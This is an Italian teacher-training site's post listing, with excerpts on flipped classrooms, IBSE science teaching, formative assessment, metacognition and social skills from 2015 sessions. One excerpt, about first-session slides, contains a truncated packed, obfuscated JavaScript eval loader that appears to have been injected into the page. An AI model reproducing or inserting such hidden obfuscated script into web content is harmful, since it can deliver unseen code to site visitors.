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Presentazione delle pillole formative.

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Cosa sono e come funzionano i GMD.

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Innovare la didattica attraverso la modifica degli ambienti di apprendimento.

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News

Lezione I – Flipped classroom a new way to learn

Le slide del I incontro eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

Ultimo incontro: report finali

Il 21 aprile scorso si è concluso il corso sulla Didattica delle Scienze con l'approccio IBSE. Voglio ringraziare tutti i colleghi che hanno partecipato. Con il loro entusiasmo e la loro grande professionalità hanno reso questo percorso fatto insieme un'occasione di...

6° incontro – La valutazione (20.04.2015)

Un articolo introduttivo La valutazione Formativa  (di M. Comoglio) Miti da sfatare… La valutazione rafforza la motivazione: certo, ma solo quella estrinseca. E soprattutto può disincentivare notevolmente la motivazione stessa, crea competizione e, a seconda delle...

4° incontro (25 Marzo)

  Attività Pratica: -lavoro in aula informatica per conoscere il programma PDF XCHANGE VIEWER e le sue possibili applicazioni nel campo dell'attività di analisi testuale -raccolta delle ipotesi di lavoro da sviluppare nel mese di aprile   PDFXVwer Pdf Xchange Viewer  ...

3° incontro (18 marzo)

PRESENTAZIONE PPT -definizione di metacognizione -il metodo di studio PRESENTAZIONE PPT -breve presentazione degli strumenti digitali per agevolare lo studio pdfXchange viewer, leggixme, cmap, vue, echo smart pen, open sankorè ATTIVITA' PRATICA raccolta dati sui...

GMD3: valutare in un’ottica capovolta

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Quinto incontro – Le abilità sociali (23 /03/2015)

 LE ABILITA' SOCIALI “Ciò che i bambini sapranno fare insieme oggi, domani sapranno farlo da soli” (Vigotskij)  "la chiave per ottenere un elevato QI di gruppo è l'armonia sociale all'interno di esso. E' questa capacità di funzionare armonicamente che, a parità di...

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